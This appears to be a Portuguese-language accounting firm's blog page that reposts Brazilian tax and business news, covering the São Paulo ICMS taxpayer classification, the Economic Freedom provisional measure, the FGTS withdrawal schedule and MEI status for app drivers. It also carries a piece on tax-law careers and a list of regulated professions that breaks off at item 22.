Programa nos Conformes – SECRETARIA DA FAZENDA DE SÃO PAULO

Secretaria da Fazenda e Planejamento regulamenta classificação de contribuintes do ICMS

O Sistema de Classificação de Contribuintes do ICMS, estabelecido pelo Programa de Estímulo à Conformidade Tributária – “Nos Conformes”, já está em funcionamento. O Decreto nº 64.453/2019, que regulamenta a classificação prevista no artigo 5º da Lei Complementar nº 1.320/2018, foi publicado no Diário Oficial do Estado de 7/9, com vigência a partir de 1º/9.

 A classificação tem como principais objetivos incentivar a conformidade tributária e estimular a concorrência leal entre os contribuintes do ICMS do Estado de São Paulo. Para tanto, foi utilizado o conceito da pirâmide de risco, que propõe oferecer tratamentos tributários adequados às diferentes categorias de contribuintes.

O sistema estava em fase de testes desde outubro do ano passado, quando a classificação atribuída ao contribuinte estava acessível apenas a ele próprio, permitindo correção de eventuais inconsistências. A partir de agora, a operação é plena e ocorrerá dentro das categorias “A+”, “A”, “B”, “C”, “D” e “E”, em ordem decrescente de conformidade, levando-se em consideração todos os seus estabelecimentos em conjunto.

De acordo com o decreto, a classificação abrangerá exclusivamente os contribuintes do ICMS enquadrados no Regime Periódico de Apuração (RPA), levando-se em conta dois critérios:

  • – Adimplência das obrigações tributárias por parte dos contribuintes, ou seja, obrigações pecuniárias tributárias vencidas e não pagas, relativas ao ICMS, impactarão na classificação em função do tempo de atraso no pagamento;
  • – Aderência entre os valores indicados nos documentos fiscais emitidos pelo contribuinte ou a ele destinados, em comparação àqueles regularmente lançados em sua escrituração fiscal ou por ele declarados.

O contribuinte poderá consultar sua classificação por meio de consulta privada ao Sistema de Classificação, no Posto Fiscal Eletrônico (https://portal.fazenda.sp.gov.br/servicos/pfe), até o 5º dia útil do mês seguinte ao da classificação.

Caso discorde da classificação a ele atribuída, o contribuinte poderá apresentar sua discordância por meio de opção disponível do próprio Sistema de Classificação, até o último dia do mês da disponibilização da consulta privada. A Administração Tributária analisará a questão e alterará a nota do contribuinte, em caso de deferimento do pedido.

Consulta pública

A norma publicada também estabelece que a consulta pública à nota ficará condicionada ao “aceite” do contribuinte no Sistema de Classificação. Assim, até que o contribuinte manifeste seu “aceite”, a classificação ficará disponível apenas para sua consulta. Ao aceitar sua classificação, o contribuinte manifesta concordância com a classificação atribuída, autoriza a divulgação da classificação por meio de consulta pública na internet e renuncia à possibilidade de apresentar discordância.

Manifestado o “aceite” por parte do contribuinte, a partir do primeiro dia do terceiro mês, contados da disponibilização da consulta privada, a classificação do contribuinte ficará disponível para consulta pública no portal eletrônico da Secretaria da Fazenda e Planejamento na internet. Por exemplo, para a classificação disponibilizada para o contribuinte no mês de setembro, esta passará a ser pública no portal da Sefaz no dia 01/12/2019, desde que ocorra o “aceite” até essa data.

A regulamentação da Classificação de Contribuintes do ICMS é mais uma etapa do Programa “Nos Conformes”, aliada a várias ações que estão sendo realizadas pela Secretaria da Fazenda e Planejamento no âmbito do programa, como ampliação do atendimento, maior orientação aos contribuintes, incentivo à autorregularização, melhora na comunicação entre os contribuintes e o Fisco, simplificação da legislação tributária, entre outras, visando a construção contínua e crescente de um ambiente de confiança recíproca entre os Contribuintes e a Administração Tributária.

Mais informações sobre o Programa de Estímulo à Conformidade Tributária “Nos Conformes” e sobre a Classificação dos Contribuintes do ICMS podem ser obtidas no endereço https://portal.fazenda.sp.gov.br/servicos/nosconformes.

Fonte:

https://portal.fazenda.sp.gov.br/Noticias/Paginas/Secretaria-da-Fazenda-e-Planejamento-regulamenta-classifica%C3%A7%C3%A3o-de-contribuintes-do-ICMS.aspx

9 motivos para ter uma contabilidade especializada

Quando estamos com problemas de saúde e esses começam a nos impedir de exercermos nossas atividades de alguma forma, logo pensamos no melhor profissional médico que possa nos ajudar com informações e sugestões de exames para detectar e tratar o problema. Nesse momento as partes vão refletir o que pode ter contribuído para tal problema ter surgido e se agravado, com isso cabe aquele profissional médico após o mapeamento da situação pensar no que poderia ter sido feito de forma preventiva evitando chegar a tal ponto segundo o diagnóstico. Da mesma forma quando precisamos contratar uma consultoria jurídica para nossa empresa optamos pelo melhor advogado, assim, quando necessitamos de construir contratamos o melhor engenheiro, arquiteto e pedreiro.

Nesses exemplos, o auxílio de profissionais especializados são essenciais para diminuirmos os riscos de frustações e aborrecimentos futuros, e dependendo do problema causado por más profissionais poderão nos levar até mesmo ao risco iminente de morte.

O mesmo cuidado a nível de detalhe que foi acima colocado deve acontecer com a sua empresa.  Para o empreendedor que sonha com seu negócio sabe da importância em se preocupar com as áreas técnicas que envolve a sua empresa, é recomendado que contrate profissionais especializados e qualificados em todas as áreas para que ele possa ter foco no que realmente importa que é entre outros o crescimento do negócio, ajudando a organização se tornar mais eficiente e lucrativa, pois e da empresa que ele tira o sustento dele, de sua família e de seus colaboradores.

O Contador e um desses profissionais indispensáveis e atua como um parceiro durante todo o ciclo empresarial, desde o planejamento estratégico na fase de plano do negócio, nascimento da empresa, legalizações, inicio de atividades comerciais, crescimento e desenvolvimento.

Com a crise econômica que cerca o Brasil e várias economias do mundo nos últimos anos, muitas empresas e até seguimentos econômicos inteiros tiveram problemas para se manterem, pois a resseção nacional e internacional, queda no PIB, redução no consumo e a falta de novos investimentos fez com que empresas novas e até mesmo tradicionais fechassem as portas.

Com o desenvolvimento da tecnologia a entrega das obrigações fiscais e parâmetros contábeis ficaram mais automatizados, de forma que a intervenção manual quase não existe no dia a dia dos escritórios de contabilidade o que veio a ser favorável no ambiente de negócios, pois sobra mais tempo para o contador atuar como consultor contribuindo para o planejamento estratégico. Diante desses aspectos listamos alguns motivos para que você empreendedor venha refletir com quem deseja seguir.

  • Redução da carga tributária.

O Contador junto com o seu time fiscal do Escritório Contábil irá buscar as melhores alternativas dentro da legislação para que você tenha o melhor planejamento tributário.

  • Formação de preços e redução de custos.

O Contador ajudará a preparar as ferramentas adequadas para a aumentar sua margem de lucro, e diminuir os custos da empresa e produto final.

  • Controle financeiro.

Sua empresa saberá exatamente como está seu fluxo de caixa, entrada e saída e auxiliará nas suas projeções financeiras.

  • Segurança nas questões trabalhistas.

Atuação técnica e qualificada diminuirá os possíveis riscos de processos e passivos trabalhistas.

  • Gestão de tempo.

Deixando a burocracia com o Contador você terá mais tempo para se dedicar ao que realmente importa, que é o seu negócio!

  • Diminuição de serviços manuais.

Com uma contabilidade online integrada e parametrizada, sua empresa ficará menos exposta aos erros gerando eficiência nos processos.

  • Visão de longo prazo.

O Contador atuará como consultor e braço direito dos sócios e do administrador indicando pós e contras de determinadas decisões e de enxergar oportunidade de negócios.

  • Atualização Constante.

O Contador e a equipe da contabilidade estarão à frente das mudanças no cenário fiscal, trabalhista e Contábil Nacional e Internacional.

  • A Contabilidade como ferramenta de distribuição de riqueza.

 A preparação adequada das demonstrações contábeis serve tanto para o planejamento gerencial, como para demonstrar e sustentar do ponto de vista da segurança jurídica a distribuição de lucros e dividendos transferidos para o patrimônio dos sócios da CIA.

 Dúvidas e sugestões:

Luiz Aquino

Contador, pós graduado em Controladoria e Finanças pela FECAP/SP, com especializações em Contabilidade/IFRS e área Fiscal.

(11)9.4705-3473/5831-4546

luiz@contabilidadeconceito.com.br

Escritório Contábil Conceito SS Ltda

Aprovada MP da Liberdade Econômica

 

O Senado aprovou nesta quarta-feira (21) a Medida Provisória 881/2019, conhecida como MP da Liberdade Econômica. O texto traz medidas de desburocratização e simplificação de processos para empresas e empreendedores. Durante a análise no Congresso, foram incorporadas alterações em regras trabalhistas, o que gerou críticas de parlamentares. A aprovação no Senado se deu após acordo para suprimir do texto artigos que acabavam com a restrição ao trabalho nos domingos. O projeto decorrente da medida (PLV 21/2019) ainda terá que passar pela sanção presidencial.

— Os senadores e senadoras construíram entendimento para a votação desta medida provisória tão importante para o Brasil. É uma medida provisória que destrava a relação empresarial e que sem dúvida será uma mola propulsora do desenvolvimento, do crescimento e especialmente da geração de emprego —comemorou o presidente do Senado, Davi Alcolumbre.

De acordo com a MP, se observadas normas de proteção ao meio ambiente, condominiais, de vizinhança e leis trabalhistas, qualquer atividade econômica poderá ser exercida em qualquer horário ou dia da semana. Mudanças feitas pelo Congresso garantem esse funcionamento inclusive em feriados, sem cobranças ou encargos adicionais.

O texto inicial também dispensou de licença prévia do poder público as atividades de baixo risco para sustento próprio ou da família. Os parlamentares foram além e estenderam a regra a todos os empreendimentos de baixo risco. Caso a classificação das atividades de baixo risco não seja prevista em lei estadual, distrital ou municipal específica, esse ato caberá ao Executivo.

— As regras aqui dispostas, na verdade, dão início à alforria para os empreendedores, de modo a garantir ampla geração de emprego e melhor distribuição de renda em nosso país — disse a senadora Soraya Thronicke (PSL-MS), relatora revisora da medida.

Pontos polêmicos

Vários trechos que haviam sido incluídos pelo relator da comissão mista que analisou a medida, deputado Jerônimo Goergen (PP-RS), tiveram que ser retirados na Câmara. A preocupação era de que as mudanças contrariassem a proibição do Supremo Tribunal Federal (STF) de inclusão de temas estranhos em medidas provisórias, conhecidos como “jabutis”.

Com isso, o texto, que tinha sido enviado pelo Executivo com 19 artigos e saído da comissão com 53, foi aprovado pela Câmara com 20 artigos. Entre as alterações retiradas na Câmara estão a isenção de multas por descumprimento da tabela de frete e mudanças nas regras de farmácias, por exemplo. Ainda assim, outros pontos incluídos na comissão foram mantidos pela Câmara.

Um deles foi o fim das restrições de trabalho aos domingos e feriados previstas na Consolidação das Leis do Trabalho (CLT). Pelo texto aprovado na Câmara, o empregador só seria obrigado a conceder folga aos domingos a cada quatro semanas e não precisaria pagar o domingo ou feriado trabalhado em dobro, se determinasse outro dia para folga compensatória.

— É um jabuti. Eu quero saber o que isso tem a ver com liberdade econômica e com empreendedorismo, quando, na verdade, se está retirando mais um dos poucos direitos que restam ao trabalhador — criticou Humberto Costa (PT-PE).

A regra gerou polêmica e, após um acordo anunciado pelo senador Otto Alencar (PSD-BA), foi retirada do texto por Davi Alcolumbre, por não ter relação com o tema inicial da MP. A decisão foi elogiada por José Serra (PSDB-SP), que disse considerar “temerário” forçar o trabalho aos domingos, dia que os trabalhadores têm para a convivência com a família.

Renan Calheiros (MDB-AL) e Fabiano Contarato (Rede-ES) também criticaram a inclusão de matérias estranhas à medida. Contarato chamou as mudanças de “contrabando legislativo”. Ele foi o autor da questão de ordem para que o trabalho aos domingos fosse retirado do texto pela Presidência da Casa.

Tempo

O tempo escasso para que os senadores discutissem a medida foi alvo de críticas de Paulo Paim (PT-RS), Alvaro Dias (Pode-PR) e Roberto Rocha (PSDB-MA). Na prática, o Senado ficou impedido de fazer mudanças por meio de emendas ao texto porque não haveria tempo para que a MP voltasse à Câmara. Para Paim, o Senado está atuando como mero carimbador das decisões outra Casa. Ainda assim, Alvaro Dias se disse favorável à aprovação pelo mérito da medida.

— Esta proposta é um avanço, sem dúvida. Poderia ser muito melhor, mas nós não temos condições de rejeitá-la — argumentou.

O líder o governo, senador Fernando Bezerra Coelho (MDB-PE), disse que o texto estava sendo mal interpretado por muitos parlamentares e que os pontos estranhos ao tema inicial já haviam sido retirados na Câmara.

— Agora nós temos um texto que é de fato apropriado, pertinente para essa necessidade que o país tem de menos burocracia, de menos legislação, para que a gente possa fazer com que o país se reencontre com a sua trajetória de crescimento, de desenvolvimento, mas sobretudo, de geração de emprego.

Carteira digital

Outras mudanças que têm relação com os trabalhadores foram aprovadas pelo Senado. Uma delas é a criação da carteira de trabalho digital, com os registros feitos no sistema informatizado do documento. Bastará ao trabalhador informar o CPF para o empregador realizar os registros devidos, aos quais o empregado deverá ter acesso em 48 horas.

O texto acaba ainda com a exigência de afixação, em local visível, do quadro de horários dos trabalhadores. O registro de entrada e saída, por sua vez, será exigido somente de empresa com mais de 20 funcionários. Atualmente, vale para as empresas com mais de dez empregados.

Também foi aprovada a autorização expressa para o registro de ponto por exceção à jornada regular de trabalho, que não estava no texto original do Executivo. Nesse regime, horário de chegada e saída do funcionário só é registrado se há horas extras, atrasos, faltas e licenças. Previsto em portarias do extinto Ministério do Trabalho, o registro por exceção era considerado irregular pelo Tribunal Superior do Trabalho (TST). A adoção desse sistema será permitida por acordo individual escrito, convenção coletiva ou acordo coletivo de trabalho.

O texto aprovado também altera o Sistema de Escrituração Digital de Obrigações Fiscais, Previdenciárias e Trabalhistas (eSocial), sistema digital que obrigou os empregadores (empresa ou pessoa física) a prestar todas as informações referentes a seus funcionários. O sistema havia sido extinto pela comissão mista, mas o texto aprovado pela Câmara e pelo Senado prevê a substituição por um sistema simplificado.

Simplificação

Todas as pessoas e empresas terão o direito de arquivar documentos por meio de microfilme ou por meio digital, conforme regras que devem ser estabelecidas em regulamento. Esses documentos terão o mesmo valor que os documentos físicos para todos os efeitos legais e para a comprovação de qualquer ato de direito público.

A MP 881/19 incorpora trechos do projeto de lei de conversão da Medida Provisória 876/2019, que perdeu a vigência, e simplifica procedimentos de registro de empresas em juntas comerciais. Uma das novidades é o registro automático de atos constitutivos, de suas alterações e extinções independentemente de autorização governamental. A autenticação poderá ser feita em cartório ou pelo servidor da junta por meio de comparação com o documento original e pode ser dispensada quando o advogado ou o contador da parte interessada declarar a autenticidade da cópia.

Em relação aos prazos para obtenção de licenças, alvarás e quaisquer outras liberações pelo poder público, a medida determina que seja informado um prazo para análise do pedido. Se depois de passado o prazo não houver manifestação, o pedido será considerado atendido. Isso se aplica somente aos órgãos federais, exceto se houver delegação para estados e municípios ou se o ente federativo decidir seguir a regra.

Também na esfera federal há exceções: matéria tributária, registro de patentes, se envolver em compromisso financeiro da administração pública ou se houver objeção expressa em tratado internacional. Estão de fora, ainda, os prazos para licença ambiental.

Apesar dessa exceção para as licenças ambientais prevista no texto, senadores como Eliziane Gama (PPS-MA) e Randolfe Rodrigues (Rede-AP) afirmaram que a MP coloca em risco o meio ambiente. Randolfe informou que seu partido apresentará um projeto para corrigir esse erro.

Agência Senado (Reprodução autorizada mediante citação da Agência Senado)

Saques do FGTS começam em 13 de setembro; veja calendário

As datas são diferentes para os trabalhadores que são correntistas da Caixa Econômica

São Paulo – A Caixa Econômica anunciou na segunda-feira 08 de agosto/2019 o cronograma de liberação do saque imediato de parcela de até 500 reais por conta ativa ou conta inativa do Fundo de Garantia por Tempo de Serviço (FGTS). A previsão do governo é de que as medidas anunciadas no mês passado para os fundos injetem 30 bilhões de reais na economia este ano e 12 bilhões de reais no próximo.

Os trabalhadores poderão fazer o saque de cada conta que possuírem no FGTS, sejam ativas ou inativas (do emprego atual ou dos anteriores).

Os saques começam dia 13 de setembro deste ano para quem tiver conta poupança da Caixa. Neste caso, o valor será depositado automaticamente. No caso de não desejar retirar os recursos, é necessário informar ao banco por meio dos canais divulgados em fgts.caixa.gov.br, até 30 de abril de 2020, para que os procedimentos necessários sejam tomados e os valores não sacados retornem à conta vinculada ao FGTS. Segundo o banco cerca de 33 milhões de trabalhadores receberão crédito automático em conta poupança, conforme o calendário:

Mês do aniversário do trabalhador Data do saque para quem tem conta poupança na Caixa
Janeiro 13 de setembro de 2019
Fevereiro 13 de setembro de 2019
Março 13 de setembro de 2019
Abril 13 de setembro de 2019
Maio 27 de setembro de 2019
Junho 27 de setembro de 2019
Julho 27 de setembro de 2019
Agosto 27 de setembro de 2019
Setembro 9 de dezembro de 2019
Outubro 9 de dezembro de 2019
Novembro 9 de dezembro de 2019
Dezembro 9 de dezembro de 2019

 

Quem não tem poupança na Caixa 

Quem não possui poupança na Caixa deverá seguir o cronograma abaixo para início do pagamento. Para quem possui cartão e senha do cidadão, o saque pode ser feito nos terminais de autoatendimento. Os saques de até 100 reais poderão ser realizados em casas lotéricas, mediante apresentação de documento de identidade original com foto e número do CPF.

 

Mês do aniversário do trabalhador Data do saque para quem não é correntista da Caixa
Janeiro 18 de outubro de 2019
Fevereiro 25 de outubro de 2019
Março 8 de novembro de 2019
Abril 22 de novembro de 2019
Maio 6 de dezembro de 2019
Junho 18 de dezembro de 2019
Julho 10 de janeiro de 2020
Agosto 17 de janeiro de 2020
Setembro 24 de janeiro de 2020
Outubro 7 de fevereiro de 2020
Novembro 14 de fevereiro de 2020
Dezembro 6 de março de 2020

Motoristas de aplicativo independente, como UBER, CABIFY e 99 podem ser MEI

DIÁRIO OFICIAL DA UNIÃO

Publicado em: 08/08/2019 Edição: 152 Seção: 1 Página: 305

Órgão: Ministério da Economia/Secretaria Especial de Fazenda/Comitê Gestor do Simples Nacional

RESOLUÇÃO Nº 148, DE 2 DE AGOSTO DE 2019

Altera a Resolução CGSN nº 140, de 22 de maio de 2018, que dispõe sobre o Regime Especial Unificado de Arrecadação de Tributos e Contribuições devidos pelas Microempresas e Empresas de Pequeno Porte (Simples Nacional).

O Comitê Gestor do Simples Nacional, no uso das atribuições que lhe conferem a Lei Complementar nº 123, de 14 de dezembro de 2006, o Decreto nº 6.038, de 7 de fevereiro de 2007, e o Regimento Interno aprovado pela Resolução CGSN nº 1, de 19 de março de 2007, , resolve:

Art. 1º Fica incluída no Anexo XI da Resolução CGSN nº 140, de 22 de maio de 2018, a seguinte ocupação:

OCUPAÇÃO

CNAE

DESCRIÇÃO SUBCLASSE CNAE

ISS

ICMS

MOTORISTA DE APLICATIVO INDEPENDENTE

4929-9/99

OUTROS TRANSPORTES RODOVIÁRIOS DE PASSAGEIROS NÃO ESPECIFICADOS ANTERIORMENTE

S

N

 Esta Resolução entra em vigor na data de sua publicação.

MARCOS CINTRA CAVALCANTI DE ALBUQUERQUE

Presidente do Comitê

O MEI é o pequeno empresário individual que atende algumas condições da lei:

– Tenha faturamento limitado a R$ 81.000,00 por ano;

– Que não participe como sócio, administrador ou titular de outra empresa;

– Contrate no máximo um empregado;

– Exerça uma das atividades econômicas permitidas a opção pelo MEI

Para se formalizar, acesse o portal do empreendedor e siga as    instruções:

  1. Clique ou pressione o botão Formalize-se;
  2. Insira o CPF e senha da sua conta Brasil Cidadão (Não possui conta no Brasil, clique na opção Fazer Cadastro);
  3. Autorize o acesso aos dados;
  4. Se solicitado, insira o número do Título de Eleitor ou o número do recibo da declaração de Imposto de Renda dos últimos dois anos;
  5. Informe o código SMS enviado para o número de telefone celular informado;
  6. Preencha o formulário com os dados solicitados;
  7. Preencha as declarações e conclua sua inscrição.

Qual é o seu perfil: consultivo ou contencioso?

Faltam advogados que tenham facilidade com números

A carreira jurídica na área tributária — que exige gosto pelo universo quantitativo — é uma das mais aquecidas do momento no Brasil, diz Bruno Lourenço, sócio da Vittore Partners, empresa de recrutamento especializada nos setores jurídico, tributário, de relações governamentais e anticorrupção.

O problema é que o estudante de Direito não costuma desenvolver seu pensamento matemático na graduação. “A maioria das faculdades não prepara o estudante sequer para construir uma planilha de Excel”, diz Lourenço, que só descobriu seu interesse pelo universo tributário depois de viver uma experiência numa grande consultoria.

Resultado: advogados que não têm medo de matemática são raros, e os que existem são disputados a tapa pelos empregadores.

De acordo com o sócio da Vittore Partners, as empresas estão correndo atrás de gerentes tributários, especialmente se tiverem inglês fluente e conhecimentos sólidos em finanças e contabilidade. Essa última qualificação costuma ser obtida com um curso de graduação ou com pós-graduação na área. “Outra boa opção é buscar um curso de finanças voltado para advogados, porque o assunto já será apresentado na sua linguagem”, recomenda Lourenço.

Qual é o seu perfil: consultivo ou contencioso?

A carreira em direito tributário normalmente é dividida em duas vertentes: consultiva ou contenciosa. Os perfis são bastante diferentes entre si e dificilmente um advogado exerce as duas funções simultaneamente.

A modalidade consultiva é voltada para o mundo dos negócios, diz Camila Dable, sócia da Salomon Azzi, consultoria de recrutamento e seleção voltada ao mercado jurídico. A missão desse profissional é reduzir riscos e prejuízos financeiros de uma empresa com base em seus conhecimentos dos tributos.

Ele atuará em fusões e aquisições, processos de constituição de fundos de investimentos, bem como no planejamento tributário e societário de um cliente, por exemplo. Também estão sob sua alçada atividades ligadas à gestão financeira, custo e estruturação de capital e produtos e operações do mercado financeiro que serão usados pela área de tesouraria, completa Bruno Lourenço, da Vittore.

Quando atua na esfera consultiva, o advogado tributário costuma ser encontrado em departamentos jurídicos ou financeiros de companhias, em escritórios de advocacia ou em empresas de auditoria.

Já a modalidade contenciosa está ligada às esferas judiciais (tribunais regionais, estaduais ou superiores) e administrativas (órgãos como o CARF — Conselho Administrativo de Recursos Fiscais — ou o TIT —Tribunal de Impostos e Taxas), explica Renato Sapiro, também sócio da Salomon Azzi. O papel, aqui, é defender o cliente diante de um juiz em processos ligados a infrações na área tributária.

Esse tipo de advogado costuma trabalhar principalmente em escritórios, ou então em departamentos jurídicos de empresas. Sua missão é evitar prejuízos financeiros do seu cliente com eventuais indenizações e condenações que proíbam a empresa de fazer determinados negócios no futuro.

O que é exigido de cada perfil?

As competências necessárias para ter sucesso na carreira tributária dependem da vertente escolhida pelo advogado, explicam Dable e Sapiro.

Para a área consultiva, além do bacharelado em Direito e registro na OAB (Ordem dos Advogados do Brasil), é importante ter experiência em empresas de contabilidade, pós-graduação (MBA ou lato sensu) em direito tributário ou até mesmo uma segunda graduação em ciências contábeis. “Você precisa saber ler um balanço, fazer cálculos, entender o suficiente de economia, contabilidade e finanças para discutir decisões com o seu cliente”, diz Sapiro.

Inglês fluente é obrigatório, já que esse advogado frequentemente trabalha para multinacionais e precisa conversar com investidores estrangeiros.

Já na vertente contenciosa, a formação exigida costuma ser mais acadêmica. “Além de graduação e OAB, é importante ter um diploma de pós-graduação stricto sensu, como mestrado e doutorado, ou um LLM [Master of Laws]”, diz Dable. Muitos profissionais dessa área que trabalham em escritório também dão aulas na universidade.

A principal exigência para quem trabalha na esfera contenciosa é conhecer profundamente o Processo Civil. Também é essencial compreender o funcionamento de tribunais e órgãos administrativos e saber se posicionar bem perante um juiz, explica a sócia da Salomon Azzi.

O domínio do inglês, ao contrário do que ocorre com o advogado tributário consultivo, não é tão preponderante.

E a matemática?

De acordo com Vanessa Canado, professora de direito tributário na Fundação Getúlio Vargas (FGV) e sócia do escritório CSMV, o advogado que pretende atuar na área tributária precisa, sim, ter gosto por números, mas não precisa ser um gênio do cálculo.

“A matemática exigida no nosso cotidiano é aquela que aprendemos no ensino médio, não vai muito além das quatro operações básicas”, explica ela. Ainda assim, faz bem ter conhecimentos de matemática financeira. O grau de familiaridade com os números também pode ser mais exigido por alguns clientes do que por outros.

De forma geral, o advogado tributário é mais cobrado no quesito numérico quando atua na frente consultiva. “Quando você atua com negócios, contratos e operações de fusões, é preciso ter um olhar mais interdisciplinar, ao contrário do advogado contencioso, que se preocupa mais com o Direito puro”, afirma a professora da FGV.

Ainda assim, ressalta Bruno Lourenço, da Vittore, até o advogado ou estudante de Direito que não pretende trabalhar na área de direito tributário precisa derrotar, de vez, a má vontade com a matemática. “Qualquer que seja sua especialidade, o advogado está sendo cada vez mais cobrado nesse sentido”, explica. “Ele precisa falar a língua dos números com seus clientes e mostrar o impacto financeiro de uma decisão em qualquer âmbito”, explica.

Um estudo feito em 2014 por professores da Universidade de Harvard reforça o recado. Os pesquisadores perguntaram a 124 advogados de 11 grandes escritórios dos Estados Unidos quais eram as disciplinas mais importantes da grade curricular de um aluno de Direito. A resposta da maioria foi “Análise de declarações financeiras e contabilidade”.

Vagas e salários

O cenário para quem se interessa por direito tributário é bastante animador — qualquer que seja a especialidade escolhida.

A demanda do mercado pelo profissional contencioso, que estava adormecida nos últimos anos, está passando por um renascimento na visão da professora Vanessa Canado, da FGV. “Os tribunais têm acatado mais frequentemente as teses dos contribuintes, o que tem gerado trabalho para quem vai defendê-los diante do juiz”, explica.

A oferta de oportunidades para o advogado consultivo — o mais requisitado atualmente, segundo Dable e Sapiro, da consultoria Salomon Azzi — está atrelada à aceleração dos negócios, o que ocorre em tempos de bonança econômica, ou então à necessidade de cortar custos, condição própria da crise. Conclusão: em qualquer momento pode haver demanda.

Em ambos os casos, a preocupação com medidas anticorrupção e compliancetambém melhora a empregabilidade para quem atua na área. Afinal, mais empresas buscam se precaver contra eventuais prejuízos financeiros em caso de irregularidade fiscal.

A valorização do advogado especializado na área tributária também se reflete na sua remuneração. Ao contrário de outras áreas do direito, em que há uma forte saturação na oferta de mão de obra, a falta de advogados com disposição para lidar com números joga os salários para cima.

Fonte: Revista Exame

Profissões Regulamentadas

A Secretaria da Receita Federal do Brasil, através do Parecer Normativo CST 15/83, expediu orientações, aonde entende, de acordo com o subitem 4.1 que Profissão Legalmente Regulamentada é aquela cujo exercício tenha sido reconhecido e regulamentado por Lei ou Decreto Federal.

01

 

Advogado

Lei nº 8.906, de 4 de julho de 1994 – Dispõe sobre o estatuto da advocacia e a Ordem dos Advogados do Brasil – OAB

 

 

02

 

 

Aeronauta

Lei nº 7.183, de 05 de abril de 1984 – Regula o exercício da profissão de Aeronauta e dá outras providências. Portaria Interministerial nº 3.016, de 05 de fevereiro de 1988 – Expede instruções para a execução da Lei nº 7.183, de 05 de abril de 1984, que dispõe sobre o exercício da profissão de Aeronauta.  Lei nº 7.565, de 19 de dezembro de 1986 – Dispõe sobre o Código Brasileiro de Aeronauta

03

Aeroviário

Decreto nº 1.232 de 22 de junho de 1962 – Regulamenta a profissão de Aeroviário

04

Agente Autônomo de Investimento

Resolução nº 238 de 24 de novembro de 1973

 

05

 

Agrimensor

Lei nº 3.144 de 20 de maio de 1957. Institui o Curso Superior de Agrimensura em todo o País. Decreto nº 53.943 de 03 de junho de 1964 – Regulamenta a Lei nº 3.144/57

06

Analistas Clínico – Laboratoriais

Lei nº 6.686 de 11 de setembro de 1979 – Dispõe sobre o exercício da análise clínico-laboratorial

07

 

Arquivista/Técnico de Arquivo

Lei nº 6.546, de 4 de julho de 1978 – Dispõe sobre a regulamentação de Arquivista e Técnico de Arquivo.  Decreto nº 82.590, de 6 de novembro de 1985 – Regulamenta a Lei nº 6.546, de 4/07/78

08

Arrumador

Lei 2.196 de 01 de abril de 1954 – Dispõe sobre o serviço dos trabalhadores na movimentação de mercadorias

 

09

 

Artista/Técnico em Espetáculos de diversões

Lei nº 6.533, de 24 de maio de 1978 – Dispõe sobre a regulamentação das profissões de Artista e de Técnico em Espetáculos de Diversões e dá outras providências.
Decreto nº 82.385, de 5 de outubro de 1978 – Regulamenta a Lei nº 6533, de 24/05/1978

10

Assistente Social

Lei nº 8.662, de 07 de junho de 1993 – Dispõe sobre a profissão de Assistente Social e dá outras providências

 

11

 

Atleta Profissional de Futebol

Lei nº 6.354, de 02 de setembro de 1976 – Dispõe sobre as relações de trabalho do Atleta Profissional de Futebol e dá outras providências.  Lei nº 9.615, de 25 de março de 1998 – Trata das normas gerais sobre desporto. Atleta Profissional. Altera dispositivos da Lei nº 6.354/76

 

12

 

Atuário

Decreto-Lei nº 806, de 4 de setembro de 1969 – Dispõe sobre a profissão de Atuário e dá outras providências  Decreto nº 66.408, de 3 de abril de 1970 – Dispõe sobre a regulamentação do exercício da profissão de Atuário, de acordo com o decreto-lei nº 806/69

 

13

 

Bibliotecário

Lei nº 4.084, de 30 de junho de 1962 – Dispõe sobre a profissão de Bibliotecário e regula o seu exercício. Decreto nº 56.725, de 16 de agosto de 1965 – Regulamenta a Lei nº 4.084/62. Lei nº 7.504, de 02/07/86 – Altera a Lei nº 4.084/62

 

 

14

 

 

Biólogo

Lei nº 1.017, de 30 de agosto 1982 – Dispõe sobre o desmembramento dos Conselhos Federal e Regionais de Biomedicina e de Biologia.  Decreto nº 88.438, de 28 de junho de 1983 – Dispõe sobre a regulamentação do exercício da profissão de Biomédico de acordo com a Lei nº 6.684, de 03 de setembro de 1979 e de conformidade com a alteração estabelecida pela Lei nº 7.707, de 30 de agosto de 1982

 

 

15

 

 

Biomédico

Lei nº 7.017, de 30 de agosto de 1982 – Dispõe sobre o desmembramento dos Conselhos federal e Regionais de Biomedicina e de Biologia.  Decreto nº 88.439, de 28 de junho de 1983 – Dispõe sobre a regulamentação do exercício da profissão de Biomédico de acordo com a Lei nº 6.684, de 03 de setembro de 1979 e de conformidade com a alteração estabelecida pela Lei nº 7.707, de 30 de agosto de 1982

 

16

Carregador de Transportador de bagagens

Lei nº 4.637 de 20 de maio de 1965 – Dispõe sobre o exercício da profissão de carregador e transportador de bagagens em portos do País e dá outras providências

 

17

Conferente de Carga e Descarga

Lei nº 1.561 de 21 de fevereiro de 1962 – Dispõe sobre a profissão de conferente de carga e descarga, nos portos organizados do País

 

18

 

Consertador de Carga e Descarga

Lei nº 2.191 de 05 de março de 1954 – Dispõe sobre a exclusividade no serviço de conserto de carga e descarga, nos portos organizados.
Decreto nº 56.414 de 04 de junho de 1965 – Regulamenta a Lei nº 2.191/54

 

 

 

19

 

 

 

Contabilista

Decreto-Lei nº 9.295, de 27 de maio de 1946. Cria o Conselho Federal de Contabilidade, define as atribuições do Contador e do Guarda-livros, e dá outras providências.  Decreto-Lei nº 9.710, de 03 de setembro de 1946. Dá nova redação a dispositivos do Decreto-Lei nº 9.295/46.  Lei nº 570, de 22 de dezembro de 1948. Altera dispositivos do Decreto-Lei nº 9.295/46.  Lei nº 4.695, de 22 de junho de 1965. Dispõe sobre a composição do Conselho Federal de Contabilidade e dá outras providências.  Decreto-Lei nº 1.040, de 21 de outubro de 1969. Dispõe sobre os Conselhos Federal e Regionais de Contabilidade.  Lei nº 5.730, de 08 de novembro de 1971. Altera o Decreto -Lei nº 1.040/69

 

20

 

Corretor de Fundos Públicos

Lei nº 2.146 de 29 de dezembro de 1953 – Dispõe sobre a aplicação aos Corretores, Câmaras Sindicais, Juntas, Bolsas de Mercadorias e Caixas de Liquidação de todo o País, legislação específica

 

 

21

 

 

Corretor de Imóveis

Lei nº 6.530, de 12 de maio de 1978 – Dá nova regulamentação a profissão de Corretor de Imóveis, disciplina o funcionamento de seus órgãos de fiscalização e dá outras providências.  Decreto nº 81.871, de 29 de junho de 1978 – Regulamenta a Lei nº 6.530/78.  Resolução nº 12, de 25.11.78, do Conselho Federal de Corretores de Imóveis. – Dispõe sobre o exercício da profissão de Corretor de Imóveis e sua inscrição nos Conselhos Regionais

 

22

 

Corretor de Navios

